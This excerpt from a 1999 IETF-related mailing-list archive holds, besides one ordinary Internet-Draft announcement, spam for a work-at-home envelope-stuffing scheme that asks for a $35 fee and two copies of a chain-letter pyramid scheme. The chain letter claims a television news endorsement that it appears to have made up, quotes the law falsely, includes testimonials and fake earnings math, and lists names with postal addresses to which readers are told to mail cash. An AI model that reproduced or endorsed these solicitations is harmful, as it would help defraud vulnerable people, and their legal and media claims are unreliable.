instructions.  

There is no prior experience or special skills necessary on your 
part, Just stuffing envelopes.

We need the help of honest and reliable home workers like you.  
Because we are overloaded with work and have more than our staff 
can handle. We have now expanded our mailing program and are 
expecting to reach millions more with our offers throughout the 
US and Canada.

Our system of stuffing and mailing envelopes is very simple and 
easy to do!
You will not be required to buy envelopes or postage stamps.

We will gladly furnish all circulars at no cost to you. We assure 
you that as a participant in our program you will never have to 
mail anything objective or offensive. 

There are no quotas to meet, and there no contracts to sign. You 
can work as much, or as little as you want. Payment for each 
envelope you send out is Guaranteed!

Here is what you will receive when you get your first Package.  
Inside you will find 100 envelopes, 100 labels and 100 sales 
letters ready to stuff and mail

As soon as you are done with stuffing and mailing these first 
letters, your payment will arrive shortly, thereafter. All you 
have to do is to order more free supplies and stuff and mail more 
envelopes to make more money.

Our sales literature which you will be stuffing and mailing will 
contain
information outlining our highly informative manuals that we are
advertising nationwide.  As a free gift you will receive a 
special manual valued at  $24.95, absolutely free, just for 
joining our Home Mailers Program.

Plus you will get your own special code number, so that we will 
know how much you are to get paid.  And to make re-ordering of 
more envelopes, that our company supplies very simple for you.

We are giving you this free bonus because we want you to be 
confident in our company and to ensure that we will be doing 
business with you for a long time.

Benefits Of This Job:

1. You do not have to quit your present job, to earn more money 
at home
2. You can make between $2,500 to $4,500 a month depending on the 
amount of time you are willing to spend stuffing and mailing 
envelopes
3. This is a great opportunity for the students, mothers, 
disabled persons or those who are home bodies.

To secure your position and to show us that you are serious about 
earning extra income at home we require a one-time registration 
fee of $35.00.
This fee covers the cost of your initial start up package,  which 
includes 100 envelopes, 100 labels and 100 sales letters and a 
manual, your registration fee will be refunded back to you 
shortly thereafter.

Money Back Guarantee!

We guarantee that as soon as you stuff and mail your first 300 
envelopes You will be paid $75.00 and your registration fee will 
be refunded.

Many of you wonder why it is necessary to pay a deposit to get a 
job. It is because we are looking for people that seriously want 
to work from home.  

*  If 3.000 people told us they wanted to start working from home 
and we sent out 3.000 packages free to every one.  And then half 
of the people decided not to work, this would be a potential loss 
of more than $60,000 in supply's and shipping that we have sent 
out to people that don't want to work

We have instituted this policy to make sure that you really want 
to work and at least finish your first package.

To Get Started Today Please Enclose Your Registration Fee of $35
Check,Cash Or Money Order and fill out the application below and 
mail to:

AHWA CO
425 S Fairfax Blvd., STE 306
Los Angeles, CA 90036

Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________



For all orders, please allow seven (7) days for delivery and up 
to 10 days. Cash and Money Orders will result in faster shipping 
of your package.
 
 
 
 
 
 
 
 
 

From confctrl-owner  Mon May 24 06:07:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24864
	for confctrl-outgoing; Mon, 24 May 1999 06:07:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24833
	for <confctrl@zephyr.isi.edu>; Mon, 24 May 1999 06:07:55 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA19294
	for <confctrl@isi.edu>; Mon, 24 May 1999 06:07:54 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02008;
	Mon, 24 May 1999 09:07:20 -0400 (EDT)
Message-Id: <199905241307.JAA02008@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-100rel-01.txt
Date: Mon, 24 May 1999 09:07:20 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Reliability of Provisional Responses in SIP
	Author(s)	: J. Rosenberg, H. Schulzrinne
	Filename	: draft-ietf-mmusic-sip-100rel-01.txt
	Pages		: 12
	Date		: 21-May-99
	
This document specifies an extension to the Session Initiation
   Protocol (SIP) providing reliable provisional response messages.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-100rel-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-100rel-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-100rel-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990521103322.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-100rel-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-100rel-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990521103322.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon May 24 15:47:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA16002
	for confctrl-outgoing; Mon, 24 May 1999 15:47:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA15997
	for <confctrl@zephyr.isi.edu>; Mon, 24 May 1999 15:47:24 -0700 (PDT)
Received: from www.ragemail.com (ragemail.com [208.198.227.26])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA10486
	for <confctrl@isi.edu>; Mon, 24 May 1999 15:47:17 -0700 (PDT)
Received: from [206.231.125.25] by ragemail.com id 95e40.wrk; Mon, 24 May 1999 18:47:10 EDT
Message-Id: <4.2.0.37.19990524184607.00a40880@mail.ragemail.com>
X-Sender: sunseth@mail.ragemail.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.37 (Beta)
Date: Mon, 24 May 1999 18:46:34 -0400
To: confctrl@ISI.EDU
From: SunSeth <SunSeth@mail.ragemail.com>
Subject: Biggest Chance Ever
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from future mailings (see last paragraph for
details), reply to p.josefina@eudoramail.com. In the subject
write REMOVE.

This is it folks.
This is the letter you've been reading about in the news lately.
Due to the popularity of this letter on the Internet, a major
nightly news program recently devoted an entire show to the
investigation of the program described below , to see if it
really can make people money. If you saw it, you know that their
conclusion was ,that while most people did not make the $55,000,
as discussed in the plan, EVERYONE who followed the instructions
was able to make 100 to 160 times their money at the VERY LEAST.
The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are absolutely
no laws prohibiting the participation in the program.
"This is one of the most exciting opportunities with the MOST
income potential on the internet today!" --48 Hours..



Is it legal? - Yes, (Refer to title 18, Section 1302 & 1342 of
the U.S. Postal and Lottery Laws)
This opportunity isn't much of a risk and could turn out to
actually be a bit of fun.
Bottom Line;
The risk is only $20 and time on the Internet.


The following is a copy of the letter that the media was
referring to:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter,READ the directions, THEN READ IT AGAIN !!!


You are about to embark on the most profitable and unique program
you may ever see. Many times over, it has demonstrated and proven
its ability to generate large amounts of cash. This program is
showing fantastic appeal with a huge and ever-growing on-line
population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity. It does
not require you to come in personal contact with people, do any
hard work, and best of all, you never have to leave the house,
except to get the mail and go to the bank!
This truly is that lucky break you've been waiting for! Simply
follow the easy instructions in this letter, and your financial
dreams can come true! When followed correctly, this electronic,
multi-level marketing program WORKS!
Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc.,
- Even retire!
This is your chance, Don't pass it up!

---------------------------------------------------------------------------- 
------
OVERVIEW OF THIS EXTRAORDINARY
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
---------------------------------------------------------------------------- 
------

Basically, this is what we do:
We send thousands of people a product that they paid us $5.00 US
for, that costs next to nothing to produce and e-mail back to
them. As with all multi-level businesses, we build our business
by recruiting new partners and selling our products. Every state
in the U.S. allows you to recruit new multi- level business
online (via your computer).
The products in this program are a series of four business and
financial reports costing $5.00 each. Each order you receive is
to include:
* $5.00 cash United States Currency
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the report they
ordered.
To fill each order, you simply e-mail the product to the buyer.
THAT'S IT! The $5.00 is yours! This is the EASIEST electronic
multi-level marketing business anywhere!



FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!
+++++++++ I N S T R U C T I O N S +++++++++


This is what you MUST do:
1. Order all 4 reports shown on the list below (you can't sell
them if you don't order them).
* For each report, send $5.00 CASH, the NAME & NUMBER OF THE
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
RETURN POSTAL ADDRESS (in case of a problem) to the person whose
name appears on the list next to the report.
* When you place your order, make sure you order each of the four
reports. You will need all four reports so that you can save them
on your computer and resell them.
* Within a few days you are to receive, via e-mail, each of the four reports.
Save them on your computer so they will be accessible for you to send
to the 1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way other than
is instructed below in steps "a" through "d" or you will lose out on the
majority of your profits. Once you understand the way this works,
you'll also see how it doesn't work if you change it. Remember, this
method has been tested, and if you alter it, it will not work.

a. Look below for the listing of available reports.
b. After you've ordered the four reports, replace the name and
address under REPORT #1 with your name and address, moving the
one that was there down to REPORT #2.
c.Move the name and address that was under REPORT #2 down to .
REPORT #3
d. Move the name and address that was under REPORT #3 down to
REPORT#4
e. The name and address that was under REPORT #4 is removed from
the list and has NO DOUBT collected large sums of cash!

Please make sure you copy everyone's name and address
ACCURATELY!!!


3. Take this entire letter, including the modified list of names, and save 
it to
your computer. Make NO changes to the instruction portion of this letter.

4. Now you're ready to start an advertising campaign on the
WORLDWIDE WEB! Advertising on the WEB can be very, very inexpensive,
and there are HUNDREDS of FREE places to advertise. Another avenue which
you could use for advertising is e-mail lists. You can buy these lists for 
under
$20/2,000 addresses or you can pay someone to take care of it for you.
BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them the report
they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL
ORDERS! This will help guarantee that the e-mail THEY send out, with YOUR
name and address on it, will be prompt because they can't advertise until
they receive the report! To grow fast be prompt and courteous.


--------------------------------------
AVAILABLE REPORTS
---------------------------------------
**Order Each REPORT by NUMBER and NAME**


Notes:
- ALWAYS SEND $5 CASH FOR EACH REPORT
- ALWAYS SEND YOUR ORDER VIA THE QUICKEST DELIVERY
- Make sure the cash is concealed by wrapping it in at least two
sheets of paper
- On one of those sheets of paper, include: (a) the number & name
of the report you are ordering, (b) your e-mail address, and (c)
your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Hans Viens
22, Rte 143
North-Hatley, Quebec
Canada
J0B-2C0
_________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Fernanda Borges
8831 SW 142 Avenue # 1935
Miami, FL 33186
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Arnaldo Pacheco
P.O. Box 523027
Miami, FL 33152-3027
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:
Debora de Jesus
P.O. Box 524616
Miami, FL 33152-4616
_________________________________________________________________


-----------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
-----------------------------------------------------------------
Let's say you decide to start small just to see how well it
works. Assume your goal is to get 10 people to participate on
your first level. (Placing a lot of FREE ads on the Internet will
EASILY get a larger response.) Also assume that everyone else in
YOUR ORGANIZATION gets ONLY 10 down line members. Follow this
example to achieve the STAGGERING results below.
1st level--your 10 members with
$5...........................................$50
2nd level--10 members from those 10 ($5 x
100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
THIS TOTALS ----------->$55,550
Remember friends, this assumes that the people who participate
only recruit 10 people each. Think for a moment what would happen
if they got 20 people to participate! Lots of people get 100s of
participants! THINK ABOUT IT!
Your cost to participate in this is practically nothing (surely
you can afford $20). You obviously already have an Internet
connection and e-mail is FREE!!! REPORT#3 shows you the most
productive methods for bulk e-mailing and purchasing e-mail
lists. Some list & bulk e-mail vendors even work on trade!
About 50,000 new people get online every month


****TIPS FOR SUCCESS****


* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and
follow the directions accurately.
* Send for the four reports IMMEDIATELY so you will have them
when the orders start coming in because:
When you receive a $5 order, you MUST send out the requested
product/report to comply
with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and
1341 or Title 18, Section 3005
in the U.S. Code also Code of Federal Regs. vol. 16, Sections 255
and 436, which state
that "a product or service must be exchanged for money received."
*ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!


********************YOUR SUCCESS GUIDELINE********************


Follow these guidelines to help assure your success:
If you don't receive 10 to 20 orders for REPORT #1 within two
weeks, continue advertising until you do. Then, a couple of weeks
later you should receive at least 50 orders for REPORT #2. If you
don't, continue advertising until you do. Once you have received
50 or more orders for REPORT #2, YOU CAN RELAX, because the
system is already working for you, and the cash can continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS
by watching which report people are ordering from you. If you
want to generate more income, send another batch of e-mails and
start the whole process again! There is no limit to the income
you will generate from this business!

NOTE: If you need help with starting a business, registering a
business name, how income tax is handled, etc., contact your
local office of the Small Business Administration (a Federal
agency) for free help and answers to questions. Also, the
Internal Revenue Service offers free help via telephone and free
seminars about business taxes. If you have any question of the
legality of this letter contact the Office of Associate Director
for Marketing Practices Federal Trade Commission Bureau of
Consumer Protection in Washington DC.


**T E S T I M O N I A L S**


This program does work, but you must follow it EXACTLY!
Especially the rule of not trying to place your name in a
different position, it won't work and you'll lose a lot of
potential income. I'm living proof that it works. It really is a
great opportunity to make relatively easy money, with little cost
to you. If you do choose to participate, follow the program
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS
The main reason for this letter is to convince you that this
system is honest, lawful, extremely profitable, and is a way to
get a large amount of money in a short time. I was approached
several times before I checked this out. I joined just to see
what one could expect in return for the minimal effort and money
required. To my astonishment, I received $36,470.00 in the first
19 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.
I had received this program before. I deleted it, but later I
wondered if I shouldn't have given it a try. Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I
didn'tdelete this one!...I made more than $41,000 on the first
try!!
D. Wilburn, Muncie, IN
This is my third time to participate in this plan. We have quit
our jobs, and will soon buy a home on the beach and live off the
interest on our money. The only way on earth that this plan will
work for you is if you do it. For your sake, and for your
family's sake don't pass up this golden opportunity. Good luck
and happy spending!
Charles Fairchild, Spokane, WA
. I am nearing the $90,000 mark from this program.I have used
several forms of advertisement.I used regular mail and bulk e-mail.
The regular mail that I used was very expensive for two reasons.
I purchased a very select list of names and the postage. The third
time I sent e-mails out,I did so in the quantity of 1 million. So, after
3 times participating in this program I am almost at the $90,000 mark.
That isn't too bad. I hope the same success for you.

Good Luck.

Raymond McCormick, New Cannan, Ct.
You have great potential for extra earnings that is available at
your finger-tips! You have unlimited access to wealth, but you
must be willing to take that first step! The Media ALREADY PROVED
That !!!!
You could be making an obscene amount of money!
I have given you the information, materials, and opportunity to
become
financially better off. IT IS UP TO YOU NOW!- THINK ABOUT IT -
Your risk is
only $20.? HOW MUCH DO YOU SPEND ON LOTTO TICKETS- for NO RETURN?

ORDER YOUR REPORTS TODAY AND GET
STARTED ON YOUR ROAD TO
FINANCIAL FREEDOM!!!




Under Bill S.1618 TITLE III passed by the U.S. Congress this
letter can not be considered spam as long as we include the way
to be removed. To be removed from future mailings for free just
click on the hyperlink at the top of this page and put the title
"REMOVE" in the subject line. This will permanently remove you
from all future mailing. All future mailings from other e-mail
addresses must be dealt with separately.


From confctrl-owner  Mon May 24 16:18:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA18893
	for confctrl-outgoing; Mon, 24 May 1999 16:18:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA18857
	for <confctrl@zephyr.isi.edu>; Mon, 24 May 1999 16:18:02 -0700 (PDT)
Received: from www.ragemail.com (ragemail.com [208.198.227.26])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA14843
	for <confctrl@isi.edu>; Mon, 24 May 1999 16:18:00 -0700 (PDT)
Received: from [206.231.125.25] by ragemail.com id 9a3a1.wrk; Mon, 24 May 1999 19:17:54 EDT
Message-Id: <4.2.0.37.19990524184607.00a40880@mail.ragemail.com>
X-Sender: sunseth@mail.ragemail.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.37 (Beta)
Date: Mon, 24 May 1999 18:56:46 -0400
To: confctrl@ISI.EDU
From: SunSeth <SunSeth@mail.ragemail.com>
Subject: Biggest Chance Ever
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from future mailings (see last paragraph for
details), reply to p.josefina@eudoramail.com. In the subject
write REMOVE.

This is it folks.
This is the letter you've been reading about in the news lately.
Due to the popularity of this letter on the Internet, a major
nightly news program recently devoted an entire show to the
investigation of the program described below , to see if it
really can make people money. If you saw it, you know that their
conclusion was ,that while most people did not make the $55,000,
as discussed in the plan, EVERYONE who followed the instructions
was able to make 100 to 160 times their money at the VERY LEAST.
The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are absolutely
no laws prohibiting the participation in the program.
"This is one of the most exciting opportunities with the MOST
income potential on the internet today!" --48 Hours..



Is it legal? - Yes, (Refer to title 18, Section 1302 & 1342 of
the U.S. Postal and Lottery Laws)
This opportunity isn't much of a risk and could turn out to
actually be a bit of fun.
Bottom Line;
The risk is only $20 and time on the Internet.


The following is a copy of the letter that the media was
referring to:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter,READ the directions, THEN READ IT AGAIN !!!


You are about to embark on the most profitable and unique program
you may ever see. Many times over, it has demonstrated and proven
its ability to generate large amounts of cash. This program is
showing fantastic appeal with a huge and ever-growing on-line
population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity. It does
not require you to come in personal contact with people, do any
hard work, and best of all, you never have to leave the house,
except to get the mail and go to the bank!
This truly is that lucky break you've been waiting for! Simply
follow the easy instructions in this letter, and your financial
dreams can come true! When followed correctly, this electronic,
multi-level marketing program WORKS!
Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc.,
- Even retire!
This is your chance, Don't pass it up!

---------------------------------------------------------------------------- 
------
OVERVIEW OF THIS EXTRAORDINARY
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
---------------------------------------------------------------------------- 
------

Basically, this is what we do:
We send thousands of people a product that they paid us $5.00 US
for, that costs next to nothing to produce and e-mail back to
them. As with all multi-level businesses, we build our business
by recruiting new partners and selling our products. Every state
in the U.S. allows you to recruit new multi- level business
online (via your computer).
The products in this program are a series of four business and
financial reports costing $5.00 each. Each order you receive is
to include:
* $5.00 cash United States Currency
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the report they
ordered.
To fill each order, you simply e-mail the product to the buyer.
THAT'S IT! The $5.00 is yours! This is the EASIEST electronic
multi-level marketing business anywhere!



FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!
+++++++++ I N S T R U C T I O N S +++++++++


This is what you MUST do:
1. Order all 4 reports shown on the list below (you can't sell
them if you don't order them).
* For each report, send $5.00 CASH, the NAME & NUMBER OF THE
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
RETURN POSTAL ADDRESS (in case of a problem) to the person whose
name appears on the list next to the report.
* When you place your order, make sure you order each of the four
reports. You will need all four reports so that you can save them
on your computer and resell them.
* Within a few days you are to receive, via e-mail, each of the four reports.
Save them on your computer so they will be accessible for you to send
to the 1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way other than
is instructed below in steps "a" through "d" or you will lose out on the
majority of your profits. Once you understand the way this works,
you'll also see how it doesn't work if you change it. Remember, this
method has been tested, and if you alter it, it will not work.

a. Look below for the listing of available reports.
b. After you've ordered the four reports, replace the name and
address under REPORT #1 with your name and address, moving the
one that was there down to REPORT #2.
c.Move the name and address that was under REPORT #2 down to .
REPORT #3
d. Move the name and address that was under REPORT #3 down to
REPORT#4
e. The name and address that was under REPORT #4 is removed from
the list and has NO DOUBT collected large sums of cash!

Please make sure you copy everyone's name and address
ACCURATELY!!!


3. Take this entire letter, including the modified list of names, and save 
it to
your computer. Make NO changes to the instruction portion of this letter.

4. Now you're ready to start an advertising campaign on the
WORLDWIDE WEB! Advertising on the WEB can be very, very inexpensive,
and there are HUNDREDS of FREE places to advertise. Another avenue which
you could use for advertising is e-mail lists. You can buy these lists for 
under
$20/2,000 addresses or you can pay someone to take care of it for you.
BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them the report
they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL
ORDERS! This will help guarantee that the e-mail THEY send out, with YOUR
name and address on it, will be prompt because they can't advertise until
they receive the report! To grow fast be prompt and courteous.


--------------------------------------
AVAILABLE REPORTS
---------------------------------------
**Order Each REPORT by NUMBER and NAME**


Notes:
- ALWAYS SEND $5 CASH FOR EACH REPORT
- ALWAYS SEND YOUR ORDER VIA THE QUICKEST DELIVERY
- Make sure the cash is concealed by wrapping it in at least two
sheets of paper
- On one of those sheets of paper, include: (a) the number & name
of the report you are ordering, (b) your e-mail address, and (c)
your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Hans Viens
22, Rte 143
North-Hatley, Quebec
Canada
J0B-2C0
_________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Fernanda Borges
8831 SW 142 Avenue # 1935
Miami, FL 33186
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Arnaldo Pacheco
P.O. Box 523027
Miami, FL 33152-3027
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:
Debora de Jesus
P.O. Box 524616
Miami, FL 33152-4616
_________________________________________________________________


-----------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
-----------------------------------------------------------------
Let's say you decide to start small just to see how well it
works. Assume your goal is to get 10 people to participate on
your first level. (Placing a lot of FREE ads on the Internet will
EASILY get a larger response.) Also assume that everyone else in
YOUR ORGANIZATION gets ONLY 10 down line members. Follow this
example to achieve the STAGGERING results below.
1st level--your 10 members with
$5...........................................$50
2nd level--10 members from those 10 ($5 x
100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
THIS TOTALS ----------->$55,550
Remember friends, this assumes that the people who participate
only recruit 10 people each. Think for a moment what would happen
if they got 20 people to participate! Lots of people get 100s of
participants! THINK ABOUT IT!
Your cost to participate in this is practically nothing (surely
you can afford $20). You obviously already have an Internet
connection and e-mail is FREE!!! REPORT#3 shows you the most
productive methods for bulk e-mailing and purchasing e-mail
lists. Some list & bulk e-mail vendors even work on trade!
About 50,000 new people get online every month


****TIPS FOR SUCCESS****


* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and
follow the directions accurately.
* Send for the four reports IMMEDIATELY so you will have them
when the orders start coming in because:
When you receive a $5 order, you MUST send out the requested
product/report to comply
with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and
1341 or Title 18, Section 3005
in the U.S. Code also Code of Federal Regs. vol. 16, Sections 255
and 436, which state
that "a product or service must be exchanged for money received."
*ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!


********************YOUR SUCCESS GUIDELINE********************


Follow these guidelines to help assure your success:
If you don't receive 10 to 20 orders for REPORT #1 within two
weeks, continue advertising until you do. Then, a couple of weeks
later you should receive at least 50 orders for REPORT #2. If you
don't, continue advertising until you do. Once you have received
50 or more orders for REPORT #2, YOU CAN RELAX, because the
system is already working for you, and the cash can continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS
by watching which report people are ordering from you. If you
want to generate more income, send another batch of e-mails and
start the whole process again! There is no limit to the income
you will generate from this business!

NOTE: If you need help with starting a business, registering a
business name, how income tax is handled, etc., contact your
local office of the Small Business Administration (a Federal
agency) for free help and answers to questions. Also, the
Internal Revenue Service offers free help via telephone and free
seminars about business taxes. If you have any question of the
legality of this letter contact the Office of Associate Director
for Marketing Practices Federal Trade Commission Bureau of
Consumer Protection in Washington DC.


**T E S T I M O N I A L S**


This program does work, but you must follow it EXACTLY!
Especially the rule of not trying to place your name in a
different position, it won't work and you'll lose a lot of
potential income. I'm living proof that it works. It really is a
great opportunity to make relatively easy money, with little cost
to you. If you do choose to participate, follow the program
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS
The main reason for this letter is to convince you that this
system is honest, lawful, extremely profitable, and is a way to
get a large amount of money in a short time. I was approached
several times before I checked this out. I joined just to see
what one could expect in return for the minimal effort and money
required. To my astonishment, I received $36,470.00 in the first
19 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.
I had received this program before. I deleted it, but later I
wondered if I shouldn't have given it a try. Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I
didn'tdelete this one!...I made more than $41,000 on the first
try!!
D. Wilburn, Muncie, IN
This is my third time to participate in this plan. We have quit
our jobs, and will soon buy a home on the beach and live off the
interest on our money. The only way on earth that this plan will
work for you is if you do it. For your sake, and for your
family's sake don't pass up this golden opportunity. Good luck
and happy spending!
Charles Fairchild, Spokane, WA
. I am nearing the $90,000 mark from this program.I have used
several forms of advertisement.I used regular mail and bulk e-mail.
The regular mail that I used was very expensive for two reasons.
I purchased a very select list of names and the postage. The third
time I sent e-mails out,I did so in the quantity of 1 million. So, after
3 times participating in this program I am almost at the $90,000 mark.
That isn't too bad. I hope the same success for you.

Good Luck.

Raymond McCormick, New Cannan, Ct.
You have great potential for extra earnings that is available at
your finger-tips! You have unlimited access to wealth, but you
must be willing to take that first step! The Media ALREADY PROVED
That !!!!
You could be making an obscene amount of money!
I have given you the information, materials, and opportunity to
become
financially better off. IT IS UP TO YOU NOW!- THINK ABOUT IT -
Your risk is
only $20.? HOW MUCH DO YOU SPEND ON LOTTO TICKETS- for NO RETURN?

ORDER YOUR REPORTS TODAY AND GET
STARTED ON YOUR ROAD TO
FINANCIAL FREEDOM!!!




Under Bill S.1618 TITLE III passed by the U.S. Congress this
letter can not be considered spam as long as we include the way
to be removed. To be removed from future mailings for free just
click on the hyperlink at the top of this page and put the title
"REMOVE" in the subject line. This will permanently remove you
from all future mailing. All future mailings from other e-mail
addresses must be dealt with separately.

From confctrl-owner  Mon May 24 17:50:49 1999
Return-Path: <owner-confctrl>
